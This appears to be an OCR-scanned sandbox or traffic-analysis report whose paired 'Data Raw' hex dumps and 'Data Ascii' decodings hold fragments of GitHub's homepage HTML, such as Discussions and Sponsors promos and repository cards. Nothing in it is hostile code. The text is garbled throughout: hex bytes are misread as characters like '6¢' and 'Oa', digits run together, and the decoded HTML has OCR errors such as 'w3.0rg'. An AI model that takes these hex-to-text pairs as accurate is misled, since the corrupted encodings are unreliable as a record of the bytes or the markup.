77 6974 68 20 44 69 73 63 75 73 73 69 6f 6e 73 20 3¢ 73 76 67 20 78 6d 6¢ 6€ 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e
77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 63 6¢ 61 73 73 3d 22 6f 63 74 69 63 6f 6 20 61 72 72 6f 77 2d 73 79
6d 62 6f 6¢ 2d 6d 6b 74 67 22 20 77 69 64 74 68 3d 22 31 36

Data Ascii: quot;,&quot;label&quot;:&quot;ref_page:/;ref_cta:Learn how to get started with Discussions;ref_loc:community
launchpad&quot;}"> Learn how to get started with Discussions <svg xmlns="http://www.w3.0rg/2000/svg" class="octicon
arrow-symbol-mktg" width="16

Data Raw: 73 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 6d 6f 64 75 6¢ 65 73 2f 73 69 74 65 2f 68 6f 6d 65 2f 63 6f 6d 6d 75 6e
69 74 79 2d 64 69 73 63 75 73 73 69 6f 6e 73 2d 31 2e 77 65 62 70 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 77 65 62
70 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6d 67 20 73 72 63 3d 22 68
747470 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 6d 6f
64 75 6¢ 65 73 2f 73 69 74 65 2f 68 6f 6d 65 2f 63 6f 6d 6d 75 6€ 69 74 79 2d 64 69 73 63 75 73 73 69 6f 6e 73 2d 31 2e
70 6e 67 22 20 63 6¢ 61 73 73 3d 22 6f 70 61 63 69 74 79 2d 34 20 77 69 64 74 68 2d 66 75 6C 6C 20 68 65 69 67 68 74
2d 61 75 74 6f 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20

Data Ascii: s.com/images/modules/site/home/community-discussions-1.webp" type="image/webp"> <img
src="https://github.githubassets.com/images/modules/site/home/community-discussions-1.png" class="opacity-4 width-full
height-auto”

Data Raw: 65 73 2f 73 69 74 65 2f 68 6f 6d 65 2f 64 69 73 63 75 73 73 69 6f 6e 73 2d 63 68 65 63 6b 2e 73 76 67 22 Oa
2020 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6¢ 61 73 73 3d 22 68 6f 6d 65 2d 64 69 73
63 75 73 73 69 6f 6e 73 2d 63 68 65 63 6b 2d 33 20 6a 73 2d 62 75 69 6¢ 64 2d 69 6e 2d 69 74 65 6d 20 70 6f 73 69 74
69 6f 6e 2d 61 62 73 6f 6¢ 75 74 65 20 7a 2d 31 22 20 61 6¢ 74 3d 22 46 6¢ 6f 61 74 69 6e 67 20 63 68 65 63 6b 6d 61 72
6b 22 20 6¢ 6f 61 64 69 6e 67 3d 22 6¢ 61 7a 79 22 3e 0a 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2
0202020 3c 64 69 76 20 63 6¢ 61 73 73 3d 22 72 6f 75 6e 64 65 64 2d 32 20 66 6¢ 6f 61 74 2d 72 69 67 68 74 20 68 6f
6d 65 2d 64 69 73 63 75 73 73 69 6f 6e 73 2d 61 6e 73 77 65 72 20

Data Ascii: es/site/home/discussions-check.svg" class="home-discussions-check-3 js-build-in-item
position-absolute z-1" alt="Floating checkmark" loading="lazy"> <div class="rounded-2 float-right home-
discussions-answer

Data Raw: 74 69 6f 6e 2d 72 65 6¢ 61 74 69 76 65 20 7a 2d 31 22 3e 3c 70 61 74 68 20 63 6¢ 69 70 2d 72 75 6¢ 65 3d 22
65 76 65 6e 6f 64 64 22 20 64 3d 22 6d 37 2e 35 20 31 32 63 30 2d 31 2e 37 32 33 39 2e 36 38 34 38 32 2d 33 2e 33 37
37 3231 20 31 2e 39 30 33 38 31 2d 34 2e 35 39 36 31 39 20 31 2e 32 31 38 39 39 2d 31 2e 32 31 38 39 39 20 32 2e 38
37 3232 39 2d 31 2e 39 30 33 38 31 20 34 2e 35 39 36 31 39 2d 31 2e 39 30 33 38 31 73 33 2e 33 37 37 32 2e 36 38 34
3832 20 34 2e 35 39 36 32 20 31 2e 39 30 33 38 31 63 31 2e 32 31 39 20 31 2e 32 31 38 39 38 20 31 2e 39 30 33 38 20
32 2e 38 37 3232 39 20 31 2e 39 30 33 38 20 34 2e 35 39 36 31 39 73 2d 2e 36 38 34 38 20 33 2e 33 37 37 32 2d 31 2e
39 30 33 38 20 34 2e 35 39 36 32 2d 32 2e 38 37 32 33 20 31 2e 39 30 33

Data Ascii: tion-relative z-1"><path clip-rule="evenodd" d="m7.5 12c0-1.7239.68482-3.37721 1.90381-4.59619 1.21899-
1.21899 2.87229-1.90381 4.59619-1.90381s3.3772.68482 4.5962 1.90381c1.219 1.21898 1.9038 2.87229 1.9038 4
.59619s-.6848 3.3772-1.9038 4.5962-2.8723 1.903

Data Raw: 36 31 34 2e 34 33 31 2e 36 31 33 2e 34 33 31 76 2e 30 30 31 6¢ 2d 2e 30 30 31 2e 30 30 32 2d 2e 30 30 32
2e 30 30 33 2d 2e 30 30 35 2e 30 30 37 2d 2e 30 31 34 2e 30 31 39 63 2d 2e 30 35 36 32 2e 30 37 35 33 2d 2e 31 31 37
37 2e 31 34 36 34 2d 2e 31 38 34 2e 32 31 33 2d 2e 31 36 30 37 2e 31 36 36 34 2d 2e 33 33 38 33 2e 33 31 35 35 2d 2e
35 33 2e 34 34 35 2d 2e 36 32 39 38 2e 34 31 38 34 2d 31 2e 33 37 30 39 2e 36 33 37 36 2d 32 2e 31 32 37 2e 36 32 39
2d 2e 39 34 36 20 30 2d 31 2e 36 35 32 2d 2e 33 30 38 2d 32 2e 31 32 36 2d 2e 36 33 2d 2e 32 35 30 38 2d 2e 31 36 39
37 2d 2e 34 37 37 32 2d 2e 33 37 32 39 2d 2e 36 37 33 2d 2e 36 30 34 2d 2e 30 31 34 33 2d 2e 30 31 37 34 2d 2e 30 32
38 33 2d 2e 30 33 35 31 2d 2e 30 34 32 2d 2e 30 35 33 6¢ 2d 2e 30 31 34 2d

Data Ascii: 614.431.613.431v.0011-.001.002-.002.003-.005.007-.014.019¢-.0562.0753-.1177.1464-.184.213-.1607.1664-
.3383.3155-.53.445-.6298.4184-1.3709.6376-2.127.629-.946 0-1.652-.308-2.126-.63-.2508-.1697-.4772-.3729-.673-.604-
.0143-.0174-.0283-.0351-.042-.053I-.014-
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Data

Data Raw: 61 64 6d 65 2d 31 2e 70 6e 67 22 20 63 6¢ 61 73 73 3d 22 77 69 64 74 68 2d 66 75 6¢ 6¢ 20 68 65 69 67 68
74 2d 61 75 74 6f 20 6f 70 61 63 69 74 79 2d 34 22 20 61 6¢ 74 3d 22 47 69 74 48 75 62 20 70 72 6f 66 69 6¢ 65 20 52
45 41 44 4d 45 20 66 6f 72 20 40 4d 30 6e 69 63 61 22 20 6¢ 6f 61 64 69 6e 67 3d 22 6¢ 61 7a 79 22 20 77 69 64 74 68 3
d 22 37 36 36 22 20 68 65 69 67 68 74 3d 22 37 34 38 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
20 20 20 20 3c 2f 70 69 63 74 75 72 65 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69
76 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6¢ 61 73 73 3d 22 72 6f 75
6e 64 65 64 2d 32 20 62 6f 78 2d 73 68 61 64 6f 77 2d 61 63 74 69 76 65 2d

Data Ascii: adme-1.png" class="width-full height-auto opacity-4" alt="GitHub profile README for @M0Onica" loading="lazy"
width="766" height="748"> <[picture> </div> <div class="rounded-2 box-shadow-
active-

Data Raw: 6¢ 6f 63 6b 20 66 6¢ 65 78 2d 73 68 72 69 6e 6b 2d 30 20 61 76 61 74 61 72 20 61 76 61 74 61 72 2d 34 20 6d
72 2d 33 20 0d 0a 36 34 35 32 0d 0a 63 69 72 63 6¢ 65 20 63 6f 6¢ 6f 72 2d 62 67 2d 73 75 62 74 6¢ 65 22 20 61 6C 74
3d 22 40 73 6f 70 68 73 68 65 70 22 20 6¢ 6f 61 64 69 6e 67 3d 22 6¢ 61 7a 79 22 3e 0a 20 20 20 20 20 20 20 20 20 20
202020 20 3c 73 70 61 6e 20 63 6¢ 61 73 73 3d 22 74 65 78 74 2d 74 72 75 6e 63 61 74 65 22 3e 3c 73 74 72 6f 6e 67 2
063 6¢ 61 73 73 3d 22 74 65 78 74 2d 73 65 6d 69 62 6f 6¢ 64 20 74 65 78 74 2d 67 72 61 79 2d 64 61 72 6b 2d 6d 6b 74
67 22 3e 73 6f 70 68 73 68 65 70 3c 2f 73 74 72 6f 6e 67 3e 20 73 74 61 72 74 65 64 20 73 70 6f 6e 73 6f 72 69 6e 67 20
79 6f 75 20 66 6f 72 20 3¢ 73 74 72 6f 6e 67 20 63 6¢ 61 73 73 3d

Data Ascii: lock flex-shrink-0 avatar avatar-4 mr-3 6452circle color-bg-subtle” alt="@sophshep" loading="lazy">

<span class="text-truncate"><strong class="text-semibold text-gray-dark-mktg">sophshep</strong> started sponsoring
you for <strong class=

Data Raw: 2d 63 65 6e 74 65 72 20 70 6f 73 69 74 69 6f 6e 2d 72 65 6¢ 61 74 69 76 65 20 66 35 2d 6d 6b 74 67 20 74 65
7874 2d 67 72 61 79 2d 6¢ 69 67 68 74 2d 6d 6b 74 67 20 70 79 2d 32 20 75 6e 73 65 6¢ 65 63 74 61 62 6¢ 65 22 20 61
72 6961 2d 68 69 64 64 65 6e 3d 22 74 72 75 65 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6d 67 20 73
7263 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 69 6d 61 67
65 73 2f 6d 6f 64 75 6¢ 65 73 2f 73 69 74 65 2f 68 6f 6d 65 2f 69 63 6f 6e 73 2f 68 65 61 72 74 2e 73 76 67 22 20 63 6¢ 61
73 73 3d 22 68 6f 6d 65 2d 67 69 74 2d 69 74 65 6d 20 63 6f 6¢ 6f 72 2d 62 67 2d 64 65 66 61 75 6¢ 74 20 66 6C 65 78 2d
73 6872 69 6e 6b 2d 30 20 6d 72 2d 33 20 70 6f 73 69 74 69

Data Ascii: -center position-relative f5-mktg text-gray-light-mktg py-2 unselectable” aria-hidden="true"> <img
src="https://github.githubassets.com/images/modules/site/home/icons/heart.svg" class="home-git-item color-bg-default
flex-shrink-0 mr-3 positi

Data Raw: 77 69 64 74 68 3d 22 32 22 3e 3c 2f 63 69 72 63 6¢ 65 3e 3c 2f 73 76 67 3e Oa 0a 20 20 20 20 20 20 20 20 20
2020 20 20 20 20 20 20 20 3c 68 33 20 63 6¢ 61 73 73 3d 22 66 32 2d 6d 6b 74 67 20 74 65 78 74 2d 67 72 61 79 2d 6d
6b 74 67 20 74 65 78 74 2d 73 65 6d 69 62 6f 6¢ 64 20 6d 62 2d 35 20 63 6f 6¢ 2d 35 2d 6d 61 78 22 3e 54 68 61 74 20
6f 70 65 6e 20 73 6f 75 72 63 65 20 63 6f 64 65 20 79 6f 75 20 77 72 6f 74 65 20 66 6f 72 20 79 6f 75 72 73 65 6¢C 66 20
6d 69 67 68 74 20 6a 75 73 74 20 68 65 6¢ 70 20 73 6f 6d 65 6f 6e 65 20 65 6¢ 73 65 2e 20 3c 73 70 61 6e 20 63 6¢ 61 7
3733d22746578742d67 726179 2d 64 61 72 6b 2d 6d 6b 74 67 22 3e 47 65 74 20 70 61 69 64 20 66 6f 72 20 62
75 69 6¢ 64 69 6e 67 20 77 68 61 74 20 6d 61 74 74 65 72 73 20 74 6f

Data Ascii: width="2"></circle></svg> <h3 class="f2-mktg text-gray-mktg text-semibold mb-5 col-5-max">That
open source code you wrote for yourself might just help someone else. <span class="text-gray-dark-mktg">Get paid for
building what matters to

Data Raw: 33 4c 36 2e 32 31 39 36 37 20 31 31 2e 37 31 39 37 5a 4d 36 2e 32 31 39 36 37 20 34 2e 32 38 30 33 33 4c
31 30 2e 34 36 39 37 20 38 2e 35 33 30 33 33 4c 31 31 2e 35 33 30 33 20 37 2e 34 36 39 36 37 4c 37 2e 32 38 30 33 33
20 33 2e 32 31 39 36 37 4c 36 2e 32 31 39 36 37 20 34 2e 32 38 30 33 33 5a 4d 31 30 2e 34 36 39 37 20 37 2e 34 36 39
36 37 4c 36 2e 32 31 39 36 37 20 31 31 2e 37 31 39 37 4c 37 2e 32 38 30 33 33 20 31 32 2e 37 38 30 33 4c 31 31 2e 35
3330 33 20 38 2e 35 33 30 33 33 4c 31 30 2e 34 36 39 37 20 37 2e 34 36 39 36 37 5a 22 3e 3c 2f 70 61 74 68 3e 3c 70
61 74 68 20 63 6¢ 61 73 73 3d 22 6f 63 74 69 63 6f 6e 2d 63 68 65 76 72 6f 77 2d 73 74 65 6d 22 20 73 74 72 6f 6b 65 3d
22 63 7572 72 65 6e 74 43 6f 6¢ 6f 72 22 20 64 3d 22 4d 31 2e 37 35 20

Data Ascii: 3L.6.21967 11.7197ZM6.21967 4.28033L.10.4697 8.53033L11.5303 7.46967L7.28033 3.21967L6.21967
4.28033ZM10.4697 7.469671.6.21967 11.7197L.7.28033 12.7803L11.5303 8.53033L10.4697 7.46967Z"></path><path cla
ss="octicon-chevrow-stem" stroke="currentColor" d="M1.75

Data Raw: 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 6d 6f 64
75 6¢ 65 73 2f 73 69 74 65 2f 68 6f 6d 65 2f 63 6f 6d 6d 75 6 69 74 79 2d 73 70 6f 6e 73 6f 72 2d 31 2e 77 65 62 70 22
207479 70 65 3d 22 69 6d 61 67 65 2f 77 65 62 70 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
202020 20 20 3¢ 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73
65 74 73 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 6d 6f 64 75 6¢ 65 73 2f 73 69 74 65 2f 68 6f 6d 65 2f 63 6f 6d 6d 75 6€ 69 74
79 2d 73 70 6f 6e 73 6f 72 2d 31 2e 70 6e 67 22 20 63 6¢ 61 73 73 3d 22 77 69 64 74 68 2d 66 75 6¢ 6¢C 20 68 65 69 67
68 74 2d 61 75 74 6f 20 6f 70 61 63 69 74 79 2d 34 22 20 61 6C
Data Ascii: //github.githubassets.com/images/modules/site/home/community-sponsor-1.webp" type="image/webp">

<img src="https://github.githubassets.com/images/modules/site/home/community-sponsor-1.png" class="width-full
height-auto opacity-4" al

Data Raw: 63 6f 6d 6d 75 6e 69 74 79 2d 73 70 6f 6e 73 6f 72 2d 32 2e 77 65 62 70 22 20 74 79 70 65 3d 22 69 6d 61 67
65 2f 77 65 62 70 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6d 67 20 73
72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 69 6d 61 67
65 73 2f 6d 6f 64 75 6¢ 65 73 2f 73 69 74 65 2f 68 6f 6d 65 2f 63 6f 6d 6d 75 6 69 74 79 2d 73 70 6f 6e 73 6f 72 2d 32 2e
70 6e 67 22 20 63 6¢ 61 73 73 3d 22 77 69 64 74 68 2d 66 75 6¢ 6¢C 20 68 65 69 67 68 74 2d 61 75 74 6f 22 20 61 6C 74
3d 2247 69 74 48 75 62 20 70 72 6f 66 69 6¢ 65 20 63 61 72 64 20 66 6f 72 20 40 70 72 6f 70 68 65 6e 22 20 6¢ 6f 61 64
69 6e 67 3d 22 6¢ 61 7a 79 22 20 77 69 64 74 68 3d 22 37 36

Data Ascii: community-sponsor-2.webp" type="image/webp"> <img src="https://github.githubassets.co
m/images/modules/site/home/community-sponsor-2.png" class="width-full height-auto" alt="GitHub profile card for
@prophen" loading="lazy" width="76

Data Raw: 74 79 70 65 3d 22 69 6d 61 67 65 2f 73 76 67 22 3e 0a 20 20 20 20 20 20 3c 73 6f 75 72 63 65 20 73 72 63 73
65 74 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73 2e 63 6f 6d 2f 69 6d 61 67
65 73 2f 6d 6f 64 75 6¢ 65 73 2f 73 69 74 65 2f 68 6f 6d 65 2f 66 6f 6f 74 65 72 2d 69 6¢ 6C 75 73 74 72 61 74 69 6f 6e 2d
383934 2e 73 76 67 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 73 76 67 22 3e 0a 20 20 20 20 20 20 3c 69 6d 67 0a 20
20202020 20 2020 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 67 69 74 68 75 62 61 73 73 65 74 73
2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 6d 6f 64 75 6¢ 65 73 2f 73 69 74 65 2f 68 6f 6d 65 2f 66 6f 6f 74 65 72 2d 69 6C 6C 75
737472 61 74 69 6f 6e 2e 73 76 67 22 0a 20 20 20 20 20

Data Ascii: type="image/svg">  <source srcset="https://github.githubassets.com/images/modules/site/home/footer-illus
tration-894.svg" type="image/svg">  <img src="https://github.githubassets.com/images/modules/site/home/footer-
illustration.svg"
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Data

Data Raw: 63 3d 66 6f 6f 74 65 72 2b 6¢ 61 75 6e 63 68 70 61 64 26 61 6d 70 3b 72 65 66 5f 70 61 67 65 3d 25 32 46 22
3e 0a 20 20 53 69 67 6e 20 75 70 20 66 6f 72 20 47 69 74 48 75 62 0a 20 20 Oa 20 20 Oa 3c 2f 61 3e 0a 0a 20 20 20 20
202020 20 3c 61 20 63 6¢ 61 73 73 3d 22 62 74 6e 2d 6d 6b 74 67 20 6d 72 2d 32 20 6d 62 2d 32 20 77 69 64 74 68 2d
66 75 6¢ 6¢ 20 77 69 64 74 68 2d 73 6d 2d 61 75 74 6f 20 62 74 6e 2d 6d 75 74 65 64 2d 6d 6b 74 67 22 20 64 61 74 61 2
d 61 6e 61 6¢ 79 74 69 63 73 2d 65 76 65 6e 74 3d 22 7b 26 71 75 6f 74 3b 63 61 74 65 67 6f 72 79 26 71 75 6f 74 3b 3a
26 71 75 6f 74 3b 43 6f 6e 74 61 63 74 20 53 61 6¢ 65 73 26 71 75 6f 74 3b 2¢ 26 71 75 6f 74 3b 61 63 74 69 6f 6€ 26 71
75 6f 74 3b 3a 26 71 75 6f 74 3b 63 6¢ 69 63 6b 20 74 6f 20 43 6f

Data Ascii: c=footer+launchpad&amp;ref_page=%2F"> Sign up for GitHub  </a> <a class="btn-mktg mr-2 mb-2
width-full width-sm-auto btn-muted-mktg" data-analytics-event="{&quot;category&quot;:&quot;Contact Sales&quot;,&quot
;action&quot;:&quot;click to Co

Data Raw: 73 65 72 63 6f 6e 74 65 6e 74 2e 63 6f 6d 2f 74 65 6e 73 6f 72 66 6¢ 6f 77 3f 73 3d 36 34 26 61 6d 70 3b 76 3d
34 22 20 61 6¢ 74 3d 22 54 65 6e 73 6f 72 66 6¢ 6f 77 22 20 63 6¢ 61 73 73 3d 22 63 6f 6¢ 6f 72 2d 62 67 2d 64 65 66 61
756¢ 742061 76 61 74 61 72 20 61 76 61 74 61 72 2d 35 20 72 6f 75 6e 64 65 64 2d 32 20 6d 72 2d 32 22 20 6¢ 6f 61
64 69 6e 67 3d 22 6¢c 61 7a 79 22 20 64 65 63 6f 64 69 6e 67 3d 22 61 73 79 6e 63 22 3e 0a 20 20 20 20 20 20 20 20 20
20 2020 20 20 20 20 20 20 3c 70 20 63 6¢ 61 73 73 3d 22 66 35 2d 6d 6b 74 67 20 74 65 78 74 2d 73 65 6d 69 62 6f 6¢
64 22 3e 74 65 6e 73 6f 72 66 6¢ 6f 77 2f 3c 73 70 61 6e 20 63 6¢ 61 73 73 3d 22 63 6f 6¢ 6f 72 2d 66 67 2d 64 65 66 61
75 6¢ 74 22 3e 74 65 6e 73 6f 72 66 6¢ 6f 77 3c 2f 73 70 61 6e

Data Ascii: sercontent.com/tensorflow?s=64&amp;v=4" alt="Tensorflow" class="color-bg-default avatar avatar-5 rounded-2
mr-2" loading="lazy" decoding="async"> <p class="f5-mktg text-semibold">tensorflow/<span class="color-fg-
default">tensorflow</span

Data Raw: 2d 30 20 6c 69 6e 65 2d 63 6¢ 61 6d 70 2d 32 22 20 73 74 79 6¢ 65 3d 22 2d 77 65 62 6b 69 74 2d 62 6f 78
2d 6f 72 69 65 6e 74 3a 20 76 65 72 74 69 63 61 6¢ 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 20 33 65 6d 3b 22 3e 42 75
69 6¢ 64 20 62 6¢ 61 7a 69 6e 67 20 66 61 73 74 2¢ 20 6d 6f 64 65 72 6e 20 61 70 70 73 20 61 6e 64 20 77 65 62 73 69
74 6573 20 77 69 74 68 20 52 65 61 63 74 3c 2f 70 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 61 3e Oa 20
20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6¢ 61 73
73 3d 22 63 6f 6¢ 2d 33 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 68 6f 6d 65 2d
61 73 73 69 73 74 61 6e 74 2f 63 6f 72 65 22 Oa 20 20 20 20 20 20 20 20 20

Data Ascii: -0 line-clamp-2" style="-webkit-box-orient: vertical; min-height: 3em;">Build blazing fast, modern apps and
websites with React</p> </a> </div> <div class="col-3"> <a href="home-assistant/core"

Data Raw: 65 64 20 67 75 74 74 65 72 2d 6¢ 67 20 70 79 2d 32 20 70 79 2d 6¢ 67 2d 33 22 3e Oa 20 20 20 20 20 20 20
202020 20 20 3c 64 69 76 20 63 6¢ 61 73 73 3d 22 63 6f 6¢ 2d 33 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20
3c 61 20 68 72 65 66 3d 22 2f 72 75 73 74 2d 6¢ 61 6e 67 2f 72 75 73 74 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 2
0202063 6¢ 61 73 73 3d 22 68 6f 6d 65 2d 72 65 70 6f 2d 63 61 72 64 20 6a 73 2d 68 6f 6d 65 2d 72 65 70 6f 2d 63 61 7
2 64 20 64 2d 62 6¢ 6f 63 6b 20 70 2d 33 20 72 6f 75 6€ 64 65 64 2d 32 20 62 6f 78 2d 73 68 61 64 6f 77 2d 63 61 72 64
2d 62 6f 72 64 65 72 2d 6¢c 69 67 68 74 2d 6d 6b 74 67 20 74 65 78 74 2d 67 72 61 79 2d 6¢ 69 67 68 74 2d 6d 6b 74 67
20 6e 6f 2d 75 6e 64 65 72 6¢ 69 6e 65 22 0a 20 20 20 20 20 20 20 20

Data Ascii: ed gutter-lg py-2 py-Ig-3"> <div class="col-3"> <a href="/rust-lang/rust" class
="home-repo-card js-home-repo-card d-block p-3 rounded-2 box-shadow-card-border-light-mktg text-gray-light-mktg no-
underline”

Data Raw: 74 3b 63 61 74 65 67 6f 72 79 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 48 6f 6d 65 26 71 75 6f 74 3b 2¢ 26 71
75 6f 74 3b 61 63 74 69 6f 6e 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 63 6¢ 69 63 6b 20 74 6f 20 67 6f 20 74 6f 20 72 65
70 6f 7369 74 6f 72 79 26 71 75 6f 74 3b 2¢ 26 71 75 6f 74 3b 6¢ 61 62 65 6¢ 26 71 75 6f 74 3b 32 26 71 75 6f 74 3b 72
65 66 5f 70 61 67 65 3a 2f 3b 72 65 66 5f 63 74 61 3a 66 6¢ 75 74 74 65 72 2f 66 6¢ 75 74 74 65 72 3b 72 65 66 5f 6¢ 6f
63 3a 66 6f 6f 74 65 72 20 6¢ 61 75 6€ 63 68 70 61 64 3b 26 71 75 6f 74 3b 7d 22 0a 20 20 20 20 20 20 20 20 20 20 20
20 20 20 3e Oa 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6¢ 61 73 73 3d 22 64 2d 66 6¢ 65 78
20 66 6¢ 65 78 2d 69 74 65 6d 73 2d 63 65 6e 74 65 72 20 6d 62

Data Ascii: t;category&quot;:&quot;Home&quot;,&quot;action&quot;:&quot;click to go to repository&quot;,&quot;|
abel&quot;:&quot;ref_page:/;ref_cta:flutter/flutter;ref_loc:footer launchpad;&quot;}" > <div class="d-flex
flex-items-center mb

Data Raw: 72 63 3d 22 68 74 74 70 73 3a 2f 2f 61 76 61 74 61 72 73 2e 67 69 74 68 75 62 75 73 65 72 63 6f 6e 74 65 6e
74 2e 63 6f 6d 2f 6b 75 62 65 72 6e 65 74 65 73 3f 73 3d 36 34 26 61 6d 70 3b 76 3d 34 22 20 61 6¢ 74 3d 22 4b 75 62 65
72 6e 65 74 65 73 22 20 63 6¢ 61 73 73 3d 22 63 6f 6¢ 6f 72 2d 62 67 2d 64 65 66 61 75 6¢ 74 20 61 76 61 74 61 72 20
6176 61 74 61 72 2d 35 20 72 6f 75 6e 64 65 64 2d 32 20 6d 72 2d 32 22 20 6¢ 6f 61 64 69 6e 67 3d 22 6¢ 61 7a 79 22
20 64 65 63 6f 64 69 6e 67 3d 22 61 73 79 6e 63 22 3e Oa 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70
20 63 6¢ 61 73 73 3d 22 66 35 2d 6d 6b 74 67 20 74 65 78 74 2d 73 65 6d 69 62 6f 6¢ 64 22 3e 6b 75 62 65 72 6e 65 74
65 73 2f 3c 73 70 61 6e 20 63 6¢ 61 73 73 3d 22 63 6f 6¢ 6f 72 2d 66

Data Ascii: rc="https://avatars.githubusercontent.com/kubernetes?s=64&amp;v=4" alt="Kubernetes" class="color-bg-
default avatar avatar-5 rounded-2 mr-2" loading="lazy" decoding="async"> <p class="f5-mktg text-semib
old">kubernetes/<span class="color-f

Data Raw: 20 63 6¢ 61 73 73 3d 22 66 35 2d 6d 6b 74 67 20 74 65 78 74 2d 73 65 6d 69 62 6f 6¢ 64 22 3e 61 70 70 6¢ 65
2f 3¢ 73 70 61 6e 20 63 6¢ 61 73 73 3d 22 63 6f 6¢ 6f 72 2d 66 67 2d 64 65 66 61 75 6¢C 74 22 3e 73 77 69 66 74 3c 2f 73
70 61 6e 3e 3c 2f 70 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e Oa 20 20 20 20 20 20 20
202020 20 20 20 20 20 20 3¢ 70 20 63 6¢ 61 73 73 3d 22 66 36 2d 6d 6b 74 67 20 6d 62 2d 30 20 6¢ 69 6e 65 2d 63 6¢
61 6d 70 2d 32 22 20 73 74 79 6¢ 65 3d 22 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 6f 72 69 65 6€ 74 3a 20 76 65 72 74 69 6
361 6¢ 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 20 33 65 6d 3b 22 3e 54 68 65 20 53 77 69 66 74 20 50 72 6f 67 72 61
6d 6d 69 6e 67 20 4c 61 6e 67 75 61 67 65 3¢ 2f 70 3e Oa 20 20 20 20
Data Ascii: class="f5-mktg text-semibold">apple/<span class="color-fg-default">swift</span></p> </div>

<p class="f6-mktg mb-0 line-clamp-2" style="-webkit-box-orient: vertical; min-height: 3em;">The Swift Programming La
nguage</p>

Data Raw: 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 2f 68 61 73 68 69 63 6f 72 70 2f 74
6572 72 61 66 6f 72 6d 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6¢ 61 73 73 3d 22 68 6f 6d 65 2d 72
65 70 6f 2d 63 61 72 64 20 6a 73 2d 68 6f 6d 65 2d 72 65 70 6f 2d 63 61 72 64 20 64 2d 62 6¢ 6f 63 6b 20 70 2d 33 20 72
6f 75 6e 64 65 64 2d 32 20 62 6f 78 2d 73 68 61 64 6f 77 2d 63 61 72 64 2d 62 6f 72 64 65 72 2d 6¢C 69 67 68 74 2d 6d 6b
7467207465 78742d67 726179 2d 6C 69 67 68 74 2d 6d 6b 74 67 20 6e 6f 2d 75 6e 64 65 72 6¢ 69 6e 65 22 0a 20
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 61 74 61 2d 61 6e 61 6¢ 79 74 69 63 73 2d 65 76 65 6e 74 3d 22 7b 26
71 75 6f 74 3b 63 61 74 65 67 6f 72 79 26 71 75 6f 74 3b 32 26 71

Data Ascii: <a href="/hashicorp/terraform" class="home-repo-card js-home-repo-card d-block p-3
rounded-2 box-shadow-card-border-light-mktg text-gray-light-mktg no-underline" data-analytics-event="
{&quot;category&quot;:&q
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Data

Data Raw: 61 72 64 2d 62 6f 72 64 65 72 2d 6¢ 69 67 68 74 2d 6d 6b 74 67 20 74 65 78 74 2d 67 72 61 79 2d 6¢ 69 67 68
74 2d 6d 6b 74 67 20 6e 6f 2d 75 6e 64 65 72 6¢ 69 6e 65 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 61
74 61 2d 61 6e 61 6¢c 79 74 69 63 73 2d 65 76 65 6e 74 3d 22 7b 26 71 75 6f 74 3b 63 61 74 65 67 6f 72 79 26 71 75 6f

